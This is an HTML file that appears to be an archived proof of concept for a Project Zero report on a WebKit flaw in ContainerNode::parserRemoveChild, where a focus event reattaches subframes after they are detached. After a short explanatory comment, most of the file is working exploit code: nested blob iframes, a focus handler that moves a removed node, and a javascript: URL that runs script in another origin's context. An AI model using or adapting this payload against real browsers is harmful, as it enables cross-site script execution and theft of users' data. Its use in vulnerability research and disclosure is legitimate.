81 lines
No EOL
2.3 KiB
HTML
81 lines
No EOL
2.3 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1134
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Here's a snippet of ContainerNode::parserRemoveChild.
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void ContainerNode::parserRemoveChild(Node& oldChild)
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{
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disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a)
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...
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document().notifyRemovePendingSheetIfNeeded(); <<---- (b)
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}
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subframes are detached at (a). But In |notifyRemovePendingSheetIfNeeded| at (b), which fires a focus event, we can attach subframes again.
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PoC:
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-->
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<html>
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<head>
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</head>
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<body>
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<script>
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let xml = `
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<body>
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<div>
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<b>
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<p>
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<script>
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let p = document.querySelector('p');
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let link = p.appendChild(document.createElement('link'));
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link.rel = 'stylesheet';
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link.href = 'data:,aaaaazxczxczzxzcz';
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let btn = document.body.appendChild(document.createElement('button'));
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btn.id = 'btn';
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btn.onfocus = () => {
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btn.onfocus = null;
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window.d = document.querySelector('div');
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window.d.remove();
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link.remove();
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document.body.appendChild(p);
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let m = p.appendChild(document.createElement('iframe'));
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setTimeout(() => {
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document.documentElement.innerHTML = '';
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m.onload = () => {
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m.onload = null;
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m.src = 'javascript:alert(location);';
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var xml = \`
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<svg xmlns="http://www.w3.org/2000/svg">
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<script>
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document.documentElement.appendChild(parent.d);
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</sc\` + \`ript>
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<element a="1" a="2" />
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</svg>\`;
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var tmp = document.documentElement.appendChild(document.createElement('iframe'));
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tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
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};
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m.src = 'https://abc.xyz/';
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}, 0);
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};
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location.hash = 'btn';
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</scrip` + `t>
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</b>
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</p>
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</div>
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</body>`;
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let tf = document.body.appendChild(document.createElement('iframe'));
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tf.src = URL.createObjectURL(new Blob([xml], {type: 'text/html'}));
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</script>
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</body>
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</html> |